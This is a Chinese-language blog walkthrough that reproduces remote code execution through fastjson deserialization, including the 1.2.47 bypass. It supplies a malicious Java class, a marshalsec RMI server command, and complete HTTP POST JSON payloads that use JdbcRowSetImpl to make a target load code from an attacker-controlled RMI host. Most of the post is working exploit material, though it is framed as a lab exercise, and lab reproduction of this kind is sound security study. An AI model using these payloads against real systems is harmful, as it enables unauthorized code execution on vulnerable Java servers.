其他分享
首页 > 其他分享> > fastjson rce相关复现

fastjson rce相关复现

作者:互联网

实验环境

攻击机:Win 10(物理机)、ubantu16(公网环境,恶意java文件所在服务器)

靶机: ubantu18

 

 

 

 

 

注意

1.Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本

2.要有清晰的思路

3.python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用

 

大致流程:

编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令

 

①编写恶意类

在ubantu16上,写入一个java文件 TouchfIle.java 放在根目录/root,如果是windows的话就看着放,比如PHPSTUDY放WWW里

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

 

②编译成class   javac TouchFile.java

③在class文件的目录里用python开启简易HTTP服务

python3 -m http.server 4444

 

 

 

 

④marshalsec起一个RMI服务

 

1.首先apt install marshalsec 安装哈

 

2.然后apt install maven 安装maven要编译

 

3.mvn clean package -DskipTests 编译marshalsec

4.进入marshalsec/target里,存在以下两个可以调用开启RMI服务的jar包

使用以下命令:

 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:PORT/#TouchFile" 9999

 

 

 

 这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。

 

⑤物理机抓包,并修改内容,GET改为POST

 

 

 

 

POST / HTTP/1.1
Host: 45.77.127.27:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://144.202.80.85:9999/TouchFile",
        "autoCommit":true
    }
}

 

 

 

⑥靶机成功执行命令

 

 

 

 

 json1.2.47 rce利用方式是一样的,只是把payload换成下面这个:

 POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 266
Content-Type: application/json


{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsB:9999/Exploit",
        "autoCommit":true
    }
}

 

 

 

 

 



 

标签:fastjson,zh,java,python,TouchFile,复现,rce,class,marshalsec
来源: https://www.cnblogs.com/paku/p/14753388.html